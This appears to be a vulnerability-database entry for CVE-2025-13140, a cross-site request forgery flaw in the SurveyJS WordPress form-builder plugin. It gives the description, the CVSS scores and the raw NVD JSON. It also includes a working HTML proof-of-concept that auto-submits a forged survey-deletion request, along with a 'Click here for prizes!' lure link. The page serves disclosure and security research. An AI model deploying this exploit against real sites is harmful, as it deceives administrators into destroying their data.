Security Vulnerability Report
中文
CVE-2025-13140 CVSS 4.3 MEDIUM

CVE-2025-13140

Published: 2025-12-02 07:15:49
Last Modified: 2026-04-15 00:35:42

Description

The SurveyJS: Drag & Drop WordPress Form Builder plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.12.20. This is due to missing nonce validation on the SurveyJS_DeleteSurvey AJAX action. This makes it possible for unauthenticated attackers to delete surveys via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SurveyJS: Drag & Drop WordPress Form Builder <= 1.12.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-13140 --> <!-- SurveyJS DeleteSurvey AJAX CSRF Exploit --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC - CVE-2025-13140</title> </head> <body> <h1>CSRF Attack PoC for SurveyJS WordPress Plugin</h1> <p>This PoC demonstrates the CSRF vulnerability in SurveyJS plugin <= 1.12.20</p> <!-- Auto-submit form to delete survey --> <form id="csrfForm" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="SurveyJS_DeleteSurvey"> <input type="hidden" name="survey_id" value="1"> </form> <script> // Auto-submit the form when page loads document.getElementById('csrfForm').submit(); </script> <!-- Alternative: Malicious link --> <a href="http://target-site.com/wp-admin/admin-ajax.php?action=SurveyJS_DeleteSurvey&survey_id=1">Click here for prizes!</a> <!-- Alternative: Image tag with onerror (for social engineering) --> <!-- <img src="x" onerror="this.src='http://target-site.com/wp-admin/admin-ajax.php?action=SurveyJS_DeleteSurvey&survey_id=1'"> --> <p>Note: This PoC is for educational and authorized testing purposes only.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13140", "sourceIdentifier": "[email protected]", "published": "2025-12-02T07:15:48.520", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SurveyJS: Drag & Drop WordPress Form Builder plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.12.20. This is due to missing nonce validation on the SurveyJS_DeleteSurvey AJAX action. This makes it possible for unauthenticated attackers to delete surveys via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/surveyjs/tags/1.12.20/ajax_handlers/delete_survey.php#L12", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3403869/surveyjs/trunk/ajax_handlers/delete_survey.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5d96ea1b-1763-4a54-bd67-ac29175e9e01?source=cve", "source": "[email protected]"}]}}